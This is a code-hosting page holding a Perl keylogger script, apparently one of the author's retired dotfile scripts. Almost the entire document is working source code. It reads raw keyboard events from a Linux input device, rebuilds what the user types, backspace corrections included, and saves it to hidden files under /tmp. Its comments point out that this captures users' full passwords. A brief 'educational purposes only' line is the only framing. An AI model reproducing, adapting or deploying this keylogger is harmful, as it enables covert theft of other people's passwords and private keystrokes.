My old shell scripts that have been retired from my dotfiles.
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

371 lines
8.6 KiB

  1. #!/usr/bin/perl -w
  2. use strict;
  3. use warnings;
  4. use threads;
  5. use threads::shared;
  6. # keylog - A simple key logger.
  7. # Usage: keylog <path-to-device-node>
  8. # Example: keylog /dev/input/event0
  9. #
  10. # The user you run this as should have read access to the device node. Most of
  11. # the time, this means you'll need to run this as root.
  12. #
  13. # To find out which device node your keyboard is using, run the command
  14. # `cat /proc/bus/input/devices` and search for your keyboard. There should be
  15. # a line by your keyboard's info that looks like "Handlers=kbd event4" and
  16. # in this case the input device is /dev/input/event4. Update this for any
  17. # other event number that you see instead.
  18. #
  19. # This program prints ALL key events to the terminal (including the key up/down
  20. # events for all keys). This information probably isn't directly useful to you,
  21. # so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
  22. # it logs are probably the most useful to you; if the user hits the backspace
  23. # key, the last key they typed is deleted, etc.. so if a user is typing their
  24. # password and makes a typo and finishes typing, you'll get their full password.
  25. #
  26. # The buffer used for this is saved after 2 seconds of idle time in their typing,
  27. # or when a "separator key" is entered (a separator key is: Enter, Return, or
  28. # Tab). Each buffer is saved to its own line in the log file. If the user is a
  29. # slow typer, one "sentence" may actually span multiple lines, so you'll have to
  30. # figure this out yourself.
  31. #
  32. # This is just a proof of concept and should be used for educational purposes
  33. # only.
  34. #
  35. # --Kirsle
  36. # http://sh.kirsle.net/
  37. # Modify the die handler so we can exit on error messages
  38. # more gracefully.
  39. $SIG{__DIE__} = sub {
  40. my $err = shift;
  41. $err =~ s/ at .+ line .+\.//g;
  42. print $err;
  43. exit(1);
  44. };
  45. # Get the device node from command line.
  46. scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
  47. my $DEV = $ARGV[0];
  48. # Must run this as root, or be able to read from the device.
  49. if (!-r $DEV) {
  50. die "Can't read from $DEV; got root?";
  51. }
  52. # Hash to keep track of modifier keys.
  53. our $mod = {
  54. shift => 0,
  55. alt => 0,
  56. ctrl => 0,
  57. };
  58. # This scalar holds the "typing buffer". If they pause typing for 2 seconds,
  59. # or hit a "separator key" (return/enter or tab), the buffer is written to disk
  60. # in the log file. The backspace key deletes text in the buffer, etc. This way
  61. # you can see basically what they typed, without having to parse through the
  62. # key up/down events yourself.
  63. my $buffer : shared;
  64. my $lastkey : shared; # Holds the time() of the last key event seen.
  65. my $writenow : shared; # The key parser can force the buffer to write now.
  66. $buffer = '';
  67. $lastkey = 0;
  68. $writenow = 0;
  69. # Spawn a thread to watch the buffer and write it to disk. This way the
  70. # blocking file reads won't prevent the buffer from being written.
  71. my $bufthread = threads->create (\&buffer);
  72. # Open the device for reading.
  73. open (FILE, $DEV);
  74. while (1) {
  75. # Read the next keypress event.
  76. my $line = "";
  77. sysread(FILE, $line, 16);
  78. my @vals = split(//, $line);
  79. if (ord($vals[10]) != 0) {
  80. # Interpret the event.
  81. interpret(ord($vals[10]),ord($vals[12]));
  82. }
  83. }
  84. close (FILE);
  85. # This is the buffer writing thread.
  86. sub buffer {
  87. while (1) {
  88. select(undef,undef,undef,0.1);
  89. # Was there a 2 second delay from the last event?
  90. if ($lastkey == 0) {
  91. next;
  92. }
  93. if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
  94. # Write it to disk.
  95. print "Writing buffer to disk\n";
  96. open (WRITE, ">>/tmp/.keylog");
  97. print WRITE ts() . "$buffer\n";
  98. close (WRITE);
  99. $buffer = '';
  100. $lastkey = 0;
  101. $writenow = 0;
  102. }
  103. }
  104. }
  105. # Interpret keycode events from the device node.
  106. sub interpret {
  107. my ($keycode,$state) = @_;
  108. # Store the last keypress time.
  109. $lastkey = time();
  110. # Qwerty keyboard map.
  111. qwerty($keycode,$state);
  112. return;
  113. # This code doesn't run; if you want it to run,
  114. # comment out the "return" just above these
  115. # comments. This is for debugging purposes.
  116. print "[$keycode] ";
  117. if ($state == 0) {
  118. print "up\n";
  119. }
  120. elsif ($state == 1) {
  121. print "down\n";
  122. }
  123. elsif ($state == 2) {
  124. print "repeat\n";
  125. }
  126. else {
  127. print "\n";
  128. }
  129. }
  130. # Interpret keycodes based on QWERTY key map.
  131. sub qwerty {
  132. my ($code,$state) = @_;
  133. return unless $state >= 0 && $state <= 2;
  134. # Handle the modifier keys first.
  135. if ($code == 42 || $code == 54) {
  136. # Shift key.
  137. $mod->{shift} = ($state == 1 ? 1 : 0);
  138. }
  139. elsif ($code == 29 || $code == 97) {
  140. # Ctrl key.
  141. $mod->{ctrl} = ($state == 1 ? 1 : 0);
  142. }
  143. elsif ($code == 56 || $code == 100) {
  144. # Alt key.
  145. $mod->{alt} = ($state == 1 ? 1 : 0);
  146. }
  147. # Qwery keys.
  148. my %keys = (
  149. # Keys that map to two different characters (with shift
  150. # key held down) are an array; element 0 is the non-shifted
  151. # character, element 1 is the shifted character.
  152. # number row
  153. 41 => [ '`', '~' ],
  154. 2 => [ '1', '!' ],
  155. 3 => [ '2', '@' ],
  156. 4 => [ '3', '#' ],
  157. 5 => [ '4', '$' ],
  158. 6 => [ '5', '%' ],
  159. 7 => [ '6', '^' ],
  160. 8 => [ '7', '&' ],
  161. 9 => [ '8', '*' ],
  162. 10 => [ '9', '(' ],
  163. 11 => [ '0', ')' ],
  164. 12 => [ '-', '_' ],
  165. 13 => [ '=', '+' ],
  166. # qwerty row
  167. 16 => [ 'q', 'Q' ],
  168. 17 => [ 'w', 'W' ],
  169. 18 => [ 'e', 'E' ],
  170. 19 => [ 'r', 'R' ],
  171. 20 => [ 't', 'T' ],
  172. 21 => [ 'y', 'Y' ],
  173. 22 => [ 'u', 'U' ],
  174. 23 => [ 'i', 'I' ],
  175. 24 => [ 'o', 'O' ],
  176. 25 => [ 'p', 'P' ],
  177. 26 => [ '[', '{' ],
  178. 27 => [ ']', '}' ],
  179. 43 => [ '\\', '|' ],
  180. # asdf row
  181. 30 => [ 'a', 'A' ],
  182. 31 => [ 's', 'S' ],
  183. 32 => [ 'd', 'D' ],
  184. 33 => [ 'f', 'F' ],
  185. 34 => [ 'g', 'G' ],
  186. 35 => [ 'h', 'H' ],
  187. 36 => [ 'j', 'J' ],
  188. 37 => [ 'k', 'K' ],
  189. 38 => [ 'l', 'L' ],
  190. 39 => [ ';', ':' ],
  191. 40 => [ "'", '"' ],
  192. # zxcv row
  193. 44 => [ 'z', 'Z' ],
  194. 45 => [ 'x', 'X' ],
  195. 46 => [ 'c', 'C' ],
  196. 47 => [ 'v', 'V' ],
  197. 48 => [ 'b', 'B' ],
  198. 49 => [ 'n', 'N' ],
  199. 50 => [ 'm', 'M' ],
  200. 51 => [ ',', '<' ],
  201. 52 => [ '.', '>' ],
  202. 53 => [ '/', '?' ],
  203. # Other keys
  204. 14 => 'Backspace',
  205. 28 => 'Return',
  206. 96 => 'Enter',
  207. 15 => 'Tab',
  208. 57 => ' ',
  209. 58 => 'Caps Lock',
  210. 69 => 'Num Lock',
  211. 70 => 'Scroll Lock',
  212. 42 => 'L-Shift',
  213. 54 => 'R-Shift',
  214. 29 => 'L-Ctrl',
  215. 97 => 'R-Ctrl',
  216. 56 => 'L-Alt',
  217. 100 => 'R-Alt',
  218. 125 => 'L-Super',
  219. 126 => 'R-Super',
  220. 127 => 'Menu',
  221. 1 => 'Escape',
  222. 59 => 'F1',
  223. 60 => 'F2',
  224. 61 => 'F3',
  225. 62 => 'F4',
  226. 63 => 'F5',
  227. 64 => 'F6',
  228. 65 => 'F7',
  229. 66 => 'F8',
  230. 67 => 'F9',
  231. 68 => 'F10',
  232. 87 => 'F11',
  233. 88 => 'F12',
  234. 110 => 'Insert',
  235. 102 => 'Home',
  236. 107 => 'End',
  237. 104 => 'Pg Up',
  238. 109 => 'Pg Dn',
  239. 111 => 'Del',
  240. 99 => 'Print Screen',
  241. 119 => 'Pause',
  242. 103 => 'Up',
  243. 108 => 'Down',
  244. 106 => 'Right',
  245. 105 => 'Left',
  246. 71 => [ 'Num-7', 'Num-Home' ],
  247. 72 => [ 'Num-8', 'Num-Up' ],
  248. 73 => [ 'Num-9', 'Num-Pg Up' ],
  249. 75 => [ 'Num-4', 'Num-Left' ],
  250. 76 => 'Num-5',
  251. 77 => [ 'Num-6', 'Num-Right' ],
  252. 79 => [ 'Num-1', 'Num-End' ],
  253. 80 => [ 'Num-2', 'Num-Down' ],
  254. 81 => [ 'Num-3', 'Num-Pg Dn' ],
  255. 82 => [ 'Num-0', 'Num-Insert' ],
  256. 96 => 'Num-/',
  257. 55 => 'Num-*',
  258. 74 => 'Num--',
  259. 78 => 'Num-+',
  260. 93 => [ 'Num-.', 'Num-Del' ],
  261. );
  262. # See their matching keypress.
  263. my $keypress = '';
  264. foreach my $key (sort keys %keys) {
  265. if ($code == $key) {
  266. # We have a match! Does the key have a shift-modifier?
  267. if (ref($keys{$key}) eq "ARRAY") {
  268. if ($mod->{shift}) {
  269. $keypress = $keys{$key}->[1];
  270. }
  271. else {
  272. $keypress = $keys{$key}->[0];
  273. }
  274. }
  275. else {
  276. $keypress = $keys{$key};
  277. }
  278. last;
  279. }
  280. }
  281. # Add it to the buffer.
  282. if ($state == 1) {
  283. if (length $keypress > 1) {
  284. if ($keypress eq 'Backspace') {
  285. # Delete the last character off the end of their buffer.
  286. $buffer = substr($buffer,0,(length($buffer) - 1));
  287. }
  288. else {
  289. # Add the special key with {brackets} around it.
  290. $buffer .= "{$keypress}";
  291. }
  292. }
  293. else {
  294. $buffer .= $keypress;
  295. }
  296. }
  297. # If they hit a separator key, save the buffer right now.
  298. if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
  299. $writenow = 1;
  300. }
  301. # Print their key.
  302. if ($mod->{shift}) {
  303. $keypress = "(Shift) $keypress";
  304. }
  305. if ($mod->{ctrl}) {
  306. $keypress = "(Ctrl) $keypress";
  307. }
  308. if ($mod->{alt}) {
  309. $keypress = "(Alt) $keypress";
  310. }
  311. if ($state == 1) {
  312. $keypress = "+ $keypress";
  313. }
  314. else {
  315. $keypress = "- $keypress";
  316. }
  317. print "$code $keypress\n";
  318. # Log the raw keypresses too.
  319. open (RAW, ">>/tmp/.rawkeylog");
  320. print RAW ts() . "$code $keypress\n";
  321. close (RAW);
  322. }
  323. sub ts {
  324. my @time = localtime();
  325. return "[" . join(" ",
  326. join("-",
  327. sprintf("%04d", $time[5] + 1900),
  328. sprintf("%02d", $time[4] + 1),
  329. sprintf("%02d", $time[3]),
  330. ),
  331. join(":",
  332. sprintf("%02d", $time[2]),
  333. sprintf("%02d", $time[1]),
  334. sprintf("%02d", $time[0]),
  335. ),
  336. ) . "] ";
  337. }